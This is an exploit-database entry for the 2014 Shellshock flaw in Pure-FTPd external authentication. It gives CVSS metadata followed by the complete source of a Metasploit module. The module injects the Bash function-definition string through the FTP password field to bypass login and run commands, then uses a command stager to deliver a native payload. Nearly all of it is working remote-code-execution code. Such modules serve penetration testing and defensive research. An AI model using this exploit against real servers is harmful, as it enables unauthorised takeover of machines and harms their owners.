Pure-FTPd External Authentication Bash Environment Variable Code Injection

2014.10.02
Credit: Spencer
Risk: High
Local: No
Remote: Yes
CWE: CWE-94


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Ftp include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Pure-FTPd External Authentication Bash Environment Variable Code Injection', 'Description' => %q( This module exploits the code injection flaw known as shellshock which leverages specially crafted environment variables in Bash. This exploit specifically targets Pure-FTPd when configured to use an external program for authentication. ), 'Author' => [ 'Stephane Chazelas', # Vulnerability discovery 'Frank Denis', # Discovery of Pure-FTPd attack vector 'Spencer McIntyre' # Metasploit module ], 'References' => [ ['CVE', '2014-6271'], ['OSVDB', '112004'], ['EDB', '34765'], ['URL', 'https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc'] ], 'Payload' => { 'DisableNops' => true, 'Space' => 2048 }, 'Targets' => [ [ 'Linux x86', { 'Platform' => 'linux', 'Arch' => ARCH_X86, 'CmdStagerFlavor' => :printf } ], [ 'Linux x86_64', { 'Platform' => 'linux', 'Arch' => ARCH_X86_64, 'CmdStagerFlavor' => :printf } ] ], 'DefaultOptions' => { 'PrependFork' => true }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 24 2014')) register_options( [ Opt::RPORT(21), OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin']) ], self.class) deregister_options('FTPUSER', 'FTPPASS') end def check # this check method tries to use the vulnerability to bypass the login username = rand_text_alphanumeric(rand(20) + 1) random_id = (rand(100) + 1) command = "echo auth_ok:1; echo uid:#{random_id}; echo gid:#{random_id}; echo dir:/tmp; echo end" if send_command(username, command) =~ /^2\d\d ok./i return CheckCode::Safe if banner !~ /pure-ftpd/i disconnect command = "echo auth_ok:0; echo end" if send_command(username, command) =~ /^5\d\d login authentication failed/i return CheckCode::Vulnerable end end disconnect CheckCode::Safe end def execute_command(cmd, _opts) cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod") username = rand_text_alphanumeric(rand(20) + 1) send_command(username, cmd) end def exploit # Cannot use generic/shell_reverse_tcp inside an elf # Checking before proceeds if generate_payload_exe.blank? fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload") end execute_cmdstager(linemax: 500) handler end def send_command(username, cmd) cmd = "() { :;}; #{datastore['RPATH']}/sh -c \"#{cmd}\"" connect send_user(username) password_result = send_pass(cmd) disconnect password_result end end


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